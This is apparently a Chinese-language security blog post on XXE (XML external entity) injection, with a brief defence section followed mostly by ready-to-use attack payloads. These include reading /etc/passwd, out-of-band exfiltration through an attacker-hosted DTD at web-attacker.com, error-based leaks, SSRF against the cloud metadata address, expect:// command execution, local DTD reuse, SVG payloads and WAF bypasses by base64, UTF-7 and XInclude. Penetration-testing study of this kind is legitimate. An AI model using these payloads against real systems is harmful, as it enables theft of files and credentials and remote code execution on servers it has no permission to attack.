Loading

4.10 XXE

参考:

https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity

https://portswigger.net/web-security/xxe

https://www.cnblogs.com/20175211lyz/p/11413335.html

https://www.vsecurity.com/download/publications/XMLDTDEntityAttacks.pdf

https://www.anquanke.com/post/id/156227

简介

什么是 XXE

XXE ,XML external entity injection 的简写。其本质原因是因为一些应用程序使用 XML 格式在浏览器和服务器之间传输数据。并且服务器程序会使用特定的解析程序来解析接收到 XML 数据。而 XML 标准包含各种潜在的危险特性,而标准解析器默认支持这些特性。

如果对 XML 不了解请翻阅页面最后部分,简单介绍 XML 基础知识。

漏洞危害

可以读取敏感文件、执行 SSRF、DOS,甚至 RCE。

可能存在的限制:可能不回显数据,则只能通过外部参数实体来获取数据。但很可能禁用外部参数实体。

使用场景

当发现数据包中以 XML 的形式进行参数传递,或者将 content-type 更改为 xml 时发现服务器也能正常处理,则可以尝试进行攻击。

如何攻击

发现攻击面:数据包、含有 xml 内容的文件

尝试进行利用。

如何防御

过滤相应的关键字,例如 SYSTEM <!DOCTYPE ENTITY

禁用外部实体

# 禁用外部实体设置
PHP:
	libxml_disable_entity_loader(true);
JAVA: 
	DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
	dbf.setExpandEntityReferences(false);
Python:
	from lxml import etreexml
	Data = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

攻击思路

发现攻击面

在探测时首先要确定能否回显数据?是否回显错误信息?如果答案是否,那么就用盲 XXE 探测。

通常会通过 xml 提交很多数据,要一个个测试哪个会回显。

  1. 数据包中显然使用 XML 。

  2. 尝试更改数据包提交格式,或许程序就支持 xml 解析

    Content-Type: 
    	application/x-www-form-urlencoded
    	application/json;
    	# 更改为
    	application/xml;
    
  3. 文件与 XXE 。

    某些文件格式包含 XML 数据,当文件被打开运行时,就有可能出现 XXE。详见这篇

    例如 SVG 、PDF、DOC、EXECL。

    向文件中插入 XSS 、XXE payload 工具 docem

  4. 如果无法控制 xml DTD,但数据最终会转移到 xml 文档中被处理。

    productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
    

    因为不能控制 DTD,所以通常的 XXE 都会失效。但可能可以使用 XInclude 。XInclude 是 XML 一种规范,允许内嵌子文档。

  5. 其它不太常见的,遇到了再检索资料。

    SOAP

    RSS

    XLIFF

利用方式

读取文件

为了使读取文件完整,可以借助 wrapper 来读取文件。

  • 回显数据

    # 直接读取
    <!--?xml version="1.0" ?-->
    <!DOCTYPE foo [
    	<!ENTITY example SYSTEM "/etc/passwd"> 
    ]>
    <data>&example;</data>
    
    # 当可能读取文件不完整时,可以借助 wrapper base64 编码
    <!--?xml version="1.0" ?-->
    <!DOCTYPE replace [
    	<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> 
    ]>
    <data>&example;</data>
    
    
    # 通过报错,必须使用外部参数实体,见下文外部参数实体中示例
    
  • 不回显,通过http 请求带出数据

    # 通过 http ,必须使用外部参数实体,见下文外部参数实体中示例
    

在基于 java 的程序,可能支持通过 file 协议读取目录来列出目录。

外部参数实体

通过报错方式、或通过 http 请求带出数据,都需要支持外部参数实体。这块有两点要注意的:

  1. 数据必须是通过参数实体读取到的。本质上讲都是要将数据传给 url ,而 url 位于 dtd 中,只有参数实体才能在 dtd 中使用。
  2. 必须使用外部参数实体,因为实体不允许在 dtd 中嵌套参数实体。而外部参数实体可以。(绝大多数情况下)
# 当读取文件时,你可能会想到通过 http 请求带出数据。
# 通过实体方式触发
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
]>
<data>&exfiltrate;</data> 

# 或者通过参数实体方式触发

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [
    <!ENTITY % file SYSTEM "file:///etc/hostname">
    <!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
    %exfiltrate;
]>

# 但以上两种方式都是不可行的,会爆出类似错误信息:XML parser exited with non-zero code 1: The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD. 
# 大概意思是参数实体 %file; 不能出现在内部 DTD 内。所以此时需要外部参数 DTD 
# 提交攻击载荷,无论是通过 http、报错,都一样
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
	<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> 
	%xxe;
]>

# 攻击者控制的 malicious.dtd 恶意 dtd 文件
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;


# 这样,可以达到,你可能会疑问,为什么 dtd 文件中要写成这种嵌套的形式。省略掉 eval 不行吗?
# 实际上,当省略了之后,不会生效,x 的参数值就为 %file; 这六个字符。

# 下面是诱发报错的 dtd 文件内容。
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;


# dtd 文件名没有要求,不一定后缀必须为 .dtd ,只要是文本文件,内容符合即可
# http 请求必须完整 http:// 不能简写 \\

SSRF

# 实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
	<!ENTITY xxe SYSTEM "http://169.254.169.254/"> 
]>
<data>&xxe;</data>

# 参数实体
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ 
	<!ENTITY % xxe SYSTEM "http://169.254.169.254/"> 	
	%xxe; 
]>

RCE

php wrapper 中有 expect:// ,但默认是不开启的。见 php xxe to rce

java readObject 如果可以控制 readObject 输入的话。那么可以通过导入 XMLDecoder 类 获取 RCE 。详见 jave xxe to rce

dos

dos 攻击,一般很少使用,故只放一个链接 xxe dos

更多技巧

多层嵌套的 xxe
# 多层嵌套的有时可以,但有时不行。
# 如果网络环境允许的情况下,尽量尝试外部dtd
<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % condition '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
	'>
    %condition;
]>
<message>any text</message>
参数实体重用

当不允许新定义实体,则可以尝试参数实体重用。前提是存在可重用的 dtd 文件。原理是:当出现混用时,内部实体可以重用外部实体中已定义的实体。

# 使用GNOME桌面环境的系统通常在/usr/share/yelp/td/docbookx.td有一个DTD,其中包含一个名为ISOamso的实体。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
    '>
    %local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>

https://github.com/GoSecure/dtd-finder 寻找系统内置 dtd 的工具。

https://github.com/GoSecure/dtd-finder/tree/master/list 用来爆破的列表

wrapper

不同语言、不同配置对 wrapper 的支持不同。wrapper 可以扩大利用面,绕过

下面是 php 常用 wrapper 。可以绕过、对文件编码、甚至命令执行等等。

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
SVG
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="file:///etc/hostname"></image>
</svg>
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
    <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

绕过WAF

  1. base64 绕过

    如果XML 解析器支持 data 协议,则可以尝试 base64 编码绕过

    <!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
    
  2. utf-7 绕过

    <?xml version="1.0" encoding="UTF-7"?>
    +ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
    +ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
    +ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
    
  3. Wrapper

  4. Xinclude

    发现我们可控 xml 文本内容,但是引入外部实体无效或是存在过滤,尝试编码绕过也不行的时候,那么可以尝试使用 xinclude

    <foo xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include parse="text" href="file:///etc/passwd"/></foo>
    

XML 基础知识

  • XML 是 可扩展标记语言,用来存储和传递数据。但现在逐渐被 json 所取代。

  • XML 使用 DTD(文档类型定义 ) 来约束 XML 文档格式。

  • XML 实体是 XML 文档中表示数据的一种方式,例如 &lt; 会被表示为 < (类似于宏替换)。实体定义在 DTD 中。

    <?xml version="1.0" encoding="UTF-8" standalone="no"?>
    <!DOCTYPE foo [ 
    	# 实体,在文档中使用
    	<!ENTITY myentity "my entity value" >
    	
    	# 参数实体,只能在 DTD 中使用
    	<!ENTITY % myparameterentity "my_parameter_entity_value" >
    	<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%myparameterentity;'>">
    	
    	# 外部实体,代表的是外部资源的内容,在文档中使用
    	<!ENTITY flag SYSTEM "file:///flag.php">
    	<!ENTITY flaga SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
    	
    	# 外部参数实体,引用 dtd 文件,文件内容必须是实体的定义,在参数中使用
    	<!ENTITY % xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com/mal.dtd">
    	%xxe;
    ]>
    <data>&myentity;&flag;&flaga;</data>
    
posted @ 2021-04-24 21:14  沉云  阅读(282)  评论(0编辑  收藏  举报